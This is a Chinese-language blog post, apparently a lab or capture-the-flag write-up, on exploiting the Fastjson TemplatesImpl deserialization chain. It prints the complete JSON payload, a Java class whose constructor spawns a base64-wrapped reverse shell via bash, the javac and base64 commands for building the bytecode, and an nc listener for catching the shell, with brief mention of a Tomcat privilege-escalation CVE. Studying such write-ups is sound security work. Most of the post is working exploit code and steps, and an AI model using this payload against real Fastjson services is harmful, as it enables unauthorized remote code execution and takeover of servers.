loca1h0st's Blog
loca1h0st's Blog

fastjson TemplatesImpl利用链

fastjson TemplatesImpl利用链

基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析

其他方式的利用链分析

前提:靶场中已经说明只允许使用TemplatesImpl利用链,这个链利用起来比较鸡肋,但使用过程中还是有些坑和小技巧。

关于这个利用链的POC,可以参考这篇文章的分析(Fastjson Unserialize Vulnerability Write Up),其关键核心就是拿到_bytecodes。对于POC而言,虽然是使用了javac编译,但实际上手拼即可,因为我这里操作直接编译提示我缺少fastjson的包,而我又懒得打开idea…

https://blog.mrtblogs.net/wp-content/uploads/2022/08/image-6-1024x497.png

由上述的文章可以得出最终的payload为,其中_bytecodes部分是需要我们单独处理的部分,其余的保持默认即可:

{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": [
    "yv....."
  ],
  "_name": "a",
  "_tfactory": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"
  },
  "_outputProperties": {
    "@type": "java.util.Properties"
  }
}

同时,依据Poc.java,bytecodes就是读取了Exp.class文件并进行base64处理,那么接下来获取_bytecodes的操作就很简单了。

确保机器上有对应的jdk版本,拷贝如下代码保存为Exp.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Exp extends AbstractTranslet {

    public Exp() {
        try {
            Runtime.getRuntime().exec("bash -c {echo,xxxx}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

}

xxx的部分是反弹shell的base64变换后的代码。关于此处为啥需要进行变换可以参考如下文章java.lang.Runtime.exec() Payload

使用javac编译文件,并获得文件内容base64后的输出:

javac Exp.java && cat Exp.class | base64 -w 0

将获得的内容拼回payload中的_bytecodes部分即可:

https://blog.mrtblogs.net/wp-content/uploads/2022/08/image-9-1024x790.png

此时服务器上使用nc -lvvp port监听返回的shell:

https://blog.mrtblogs.net/wp-content/uploads/2022/08/image-10-1024x344.png

后记:

根据靶场的提示,flag文件在根目录,但是反弹的shell是tomcat8用户,也没有找到提权的提示和点,不清楚是靶场的问题还是姿势的问题..

(tomcat的本地提权CVE-2016-1240需要一个管理员用户重启下tomcat,且需要同操作系统gcc出来的一个so文件,似乎不是靶场考察的点)

https://blog.mrtblogs.net/wp-content/uploads/2022/08/image-8-1024x531.png

发表回复

textsms
account_circle
email

loca1h0st's Blog

fastjson TemplatesImpl利用链
基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析其他方式的利用链分析 前提:靶场中已经说明只允许使用TemplatesImpl利用链,这个链利用起来比较鸡肋,但使用过程中还是有些坑和小技…
扫描二维码继续阅读
2022-08-08